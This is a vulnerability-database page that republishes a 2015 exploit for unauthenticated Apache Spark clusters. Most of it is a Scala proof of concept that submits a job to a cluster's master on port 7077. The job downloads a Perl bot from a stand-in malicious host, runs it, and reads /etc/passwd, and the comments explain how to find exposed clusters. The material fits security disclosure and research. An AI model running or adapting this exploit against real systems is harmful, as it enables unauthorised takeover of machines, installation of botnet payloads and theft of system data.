Lucene search
K

Apache Spark Cluster 1.3.x Arbitrary Code Execution

🗓️ 16 Apr 2015 00:00:00Reported by Akhil DasType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

Apache Spark Cluster Arbitrary Code Executio

Code
`# Exploit Title: Arbitary Code Execution in Apache Spark Cluster  
# Date: 23/03/2015  
# Exploit Author: AkhlD (AkhilDas) <[email protected]> CodeBreach.in  
# Vendor Homepage: https://spark.apache.org/  
# Software Link: https://spark.apache.org/downloads.html  
# Version: All (0.0.x, 1.1.x, 1.2.x, 1.3.x)  
# Tested on: 1.2.1  
  
# Credits: Mayur Rustagi (@mayur_rustagi), Patrick Wendel (@pwendell) for  
reviewing.  
# Reference(s) :  
http://codebreach.in/blog/2015/03/arbitary-code-execution-in-unsecured-apache-spark-cluster/  
# Exploit URL : https://github.com/akhld/spark-exploit/  
  
# Spark clusters which are not secured with proper firewall can be taken  
over easily (Since it does not have  
# any authentication mechanism), this exploit simply runs arbitarty codes  
over the cluster.  
# All you have to do is, find a vulnerable Spark cluster (usually runs on  
port 7077) add that host to your  
# hosts list so that your system will recognize it (here its  
spark-b-akhil-master pointing  
# to 54.155.61.87 in my /etc/hosts) and submit your Spark Job with arbitary  
codes that you want to execute.  
  
# Language: Scala  
  
  
import org.apache.spark.{SparkContext, SparkConf}  
  
/**  
* Created by akhld on 23/3/15.  
*/  
  
object Exploit {  
def main(arg: Array[String]) {  
val sconf = new SparkConf()  
.setMaster("spark://spark-b-akhil-master:7077") // Set this to the  
vulnerable host URI  
.setAppName("Exploit")  
.set("spark.cores.max", "2")  
.set("spark.executor.memory", "2g")  
.set("spark.driver.host","hacked.work") // Set this to your host from  
where you launch the attack  
  
val sc = new SparkContext(sconf)  
sc.addJar("target/scala-2.10/spark-exploit_2.10-1.0.jar")  
  
val exploit = sc.parallelize(1 to 1).map(x=>{  
//Replace these with whatever you want to get executed  
val x = "wget https://mallicioushost/mal.pl -O bot.pl".!  
val y = "perl bot.pl".!  
scala.io.Source.fromFile("/etc/passwd").mkString  
})  
exploit.collect().foreach(println)  
}  
}  
  
  
  
  
Thanks  
Best Regards  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Apr 2015 00:00Current
0.4Low risk
Vulners AI Score0.4
31